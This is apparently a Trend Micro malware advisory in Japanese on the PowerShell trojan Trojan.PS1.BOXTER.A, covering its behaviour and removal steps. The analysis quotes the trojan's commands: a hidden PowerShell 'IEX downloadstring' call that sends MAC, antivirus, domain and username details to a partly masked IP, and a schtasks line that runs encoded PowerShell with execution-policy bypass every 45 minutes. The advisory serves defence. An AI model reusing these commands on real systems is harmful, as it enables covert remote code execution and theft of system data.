解析者: Alyssa Christelle Ramos   

 プラットフォーム:

Windows

 危険度:
 ダメージ度:
 感染力:
 感染確認数:
 情報漏えい:

  • マルウェアタイプ:
    トロイの木馬型

  • 破壊活動の有無:
    なし

  • 暗号化:
    なし

  • 感染報告の有無 :
    はい

  概要

感染経路 インターネットからのダウンロード

トレンドマイクロは、このマルウェアをNoteworthy(要注意)に分類しました。

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

  詳細

ファイルサイズ 2,323 bytes
タイプ PS1
メモリ常駐 なし
発見日 2021年3月10日
ペイロード URLまたはIPアドレスに接続

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

マルウェアは、以下のプロセスを追加します。

  • %System%\getmac.exe /FO CSV

(註:%System%フォルダは、システムフォルダで、いずれのオペレーティングシステム(OS)でも通常、"C:\Windows\System32" です。.)

作成活動

マルウェアは、以下のファイルを作成します。

  • %User Temp%\ccc.log
  • %User Temp%\kkkk.log

(註:%User Temp%フォルダは、現在ログオンしているユーザの一時フォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\<ユーザー名>\Local Settings\Temp"です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\<ユーザ名>\AppData\Local\Temp" です。)

情報漏えい

マルウェアは、以下の情報を収集します。

  • Mac Address
  • installed AV
  • OS Version
  • OS architecture
  • Domain
  • Username
  • Date

その他

マルウェアは、以下を実行します。

  • If Administrator role:
    • It connects to the following URL to download component loaded in its memory:
      • http://cdn.{BLOCKED}dn.net/p?hig{Date}
    • Creates scheduled task:
      • Task Name: Winnet
      • Trigger: Every 45 minutes
      • Task Action: powershell -ep bypass -e {downloaded b64 encoded} /F
    • Adds the following process to create a scheduled task:
      • schtasks.exe /create /ru system /sc MINUTE /mo 45 /tn Winnet /tr "powershell -ep bypass -e {downloaded b64 encoded}" /F
  • If not Administrator role:
    • It connects to the following URL to download component loaded in its memory:
      • http://cdn.{BLOCKED}dn.net/p?low{Date}
    • Creates scheduled task:
      • Task Name: Winnet
      • Trigger: Every 45 minutes
      • Task Action: powershell -ep bypass -e {downloaded b64 encoded} /F
    • Adds the following process to create a scheduled task:
      • schtasks.exe /create /ru system /sc MINUTE /mo 45 /tn Winnet /tr "powershell -ep bypass -e {downloaded b64 encoded}" /F
  • If %UserTemp\%kkkk.log does not exists, it creates the file and terminates powershell processes running on the machine
  • It adds the following process if no other instance of the program is running on the machine:
    • /c powershell -nop -w hidden -ep bypass -c IEX (New-Object Net.WebClient).downloadstring("http://{BLOCKED}.{BLOCKED}.103.152/updatev1?mac={mac address}av={av}version={OS version}bit={OS architecture}flag2={flag}domain={domain}user={username}PS={exeflag}

<補足>
情報漏えい

マルウェアは、以下の情報を収集します。

  • Macアドレス
  • インストールされたウイルス対策製品
  • オペレーティングシステム(OS)のバージョン
  • OSアーキテクチャ
  • ドメイン
  • ユーザ名
  • 日付

その他

マルウェアは、以下を実行します。

  • 管理者ロールの場合:
    • 以下のURLに接続し、コンポーネントをダウンロードしてメモリ内に読み込みます。
      • http://cdn.{BLOCKED}dn.net/p?hig{日付}
    • スケジュールタスクの作成
      • タスク名: Winnet
      • トリガ: 45分毎
      • タスクアクション: powershell -ep bypass -e {ダウンロードされたBase64エンコード} /F
    • 以下のプロセスを追加して、スケジュールタスクを作成します。
      • schtasks.exe /create /ru system /sc MINUTE /mo 45 /tn Winnet /tr "powershell -ep bypass -e {ダウンロードされたBase64エンコード}" /F
  • 管理者ロールでない場合:
    • 以下のURLに接続し、コンポーネントをダウンロードしてメモリ内に読み込みます。
      • http://cdn.{BLOCKED}dn.net/p?low{日付}
    • スケジュールタスクの作成
      • タスク名: Winnet
      • トリガ: 45分毎
      • タスクアクション: powershell -ep bypass -e {ダウンロードされたBase64エンコード} /F
    • 以下のプロセスを追加して、スケジュールされたタスクを作成します。
    • schtasks.exe /create /ru system /sc MINUTE /mo 45 /tn Winnet /tr "powershell -ep bypass -e {ダウンロードされたBase64エンコード}" /F
    • %UserTemp\%kkkk.log が存在しない場合、マルウェアは当該ファイルを作成し、感染コンピュータ上で実行されている PowerShell プロセスを終了します。
    • マルウェアは、プログラムの他のインスタンスが感染コンピュータ上で実行されていない場合は、以下のプロセスを追加します。
      • /c powershell -nop -w hidden -ep bypass -c IEX (New-Object Net.WebClient).downloadstring("http://{BLOCKED}.{BLOCKED}.103.152/updatev1?mac={Macアドレス}av={ウイルス対策製品}version={OSのバージョン}bit={OSアーキテクチャ}flag2={フラグ}domain={ドメイン}user={ユーザ名}PS={exeflag}

  対応方法

対応検索エンジン: 9.800
初回 VSAPI パターンバージョン 16.586.02
初回 VSAPI パターンリリース日 2021年3月10日
VSAPI OPR パターンバージョン 16.587.00
VSAPI OPR パターンリリース日 2021年3月11日

手順 1

Windows 7、Windows 8、Windows 8.1、および Windows 10 のユーザは、コンピュータからマルウェアもしくはアドウェア等を完全に削除するために、ウイルス検索の実行前には必ず「システムの復元」を無効にしてください。

手順 2

このマルウェアもしくはアドウェア等の実行により、手順中に記載されたすべてのファイル、フォルダおよびレジストリキーや値がコンピュータにインストールされるとは限りません。インストールが不完全である場合の他、オペレーティングシステム(OS)の条件によりインストールがされない場合が考えられます。手順中に記載されたファイル/フォルダ/レジストリ情報が確認されない場合、該当の手順の操作は不要ですので、次の手順に進んでください。

手順 3

以下のファイルを検索し削除します。

[ 詳細 ]
コンポーネントファイルが隠しファイル属性の場合があります。[詳細設定オプション]をクリックし、[隠しファイルとフォルダの検索]のチェックボックスをオンにし、検索結果に隠しファイルとフォルダが含まれるようにしてください。  
  • %User Temp%\ccc.log
  • %User Temp%\kkkk.log

手順 4

スケジュールされたタスクを削除する

タスク削除の手順に含まれる{タスク名} - {実行するタスク}には以下が当てはまります。

  • Task Name: Winnet
  • Task to be run: powershell -ep bypass -e {downloaded b64 encoded}

Windows 2000、Windows XP、Windows Server 2003の場合:

  1. [スタート]→[プログラム]→[アクセサリ]→[システムツール]→[スケジュールされたタスク]をクリックして、スケジュールされたタスクを開きます。
  2. 上記の{タスク名} を、[名前]の欄に入力します。
  3. 入力した{タスク名} 持つファイルを右クリックします。
  4. [プロパティ]をクリックします。 [実行]フィールドで、表示されている{実行するタスク}を確認します。
  5. 上記の{実行するタスク}と文字列が一致するタスクを削除します。

Windows Vista、Windows 7、Windows Server 2008、Windows 8、Windows 8.1、およびWindows Server 2012の場合:

  1. Windowsタスクスケジューラを開きます。
    • Windows Vista、Windows 7、Windows Server 2008の場合、[スタート]をクリックし、[検索]フィールドに「taskchd.msc」と入力してEnterキーを押します。
    • Windows 8、Windows 8.1、Windows Server 2012の場合、画面の左下隅を右クリックし、[実行]をクリックし、「taskchd.msc」と入力してEnterキーを押します。
  2. 左側のパネルで、[タスクスケジューラライブラリ]をクリックします。
  3. 中央上部のパネルで、上記の{タスク名}を[名前]の欄に入力します。
  4. 中央下部のパネルで、[アクション]タブをクリックします。 [詳細]の欄で、{実行するタスク}を確認します。
  5. 文字列が一致するタスクを削除します。

手順 5

最新のバージョン(エンジン、パターンファイル)を導入したウイルス対策製品を用い、ウイルス検索を実行してください。「Trojan.PS1.BOXTER.A」と検出したファイルはすべて削除してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。


ご利用はいかがでしたか? アンケートにご協力ください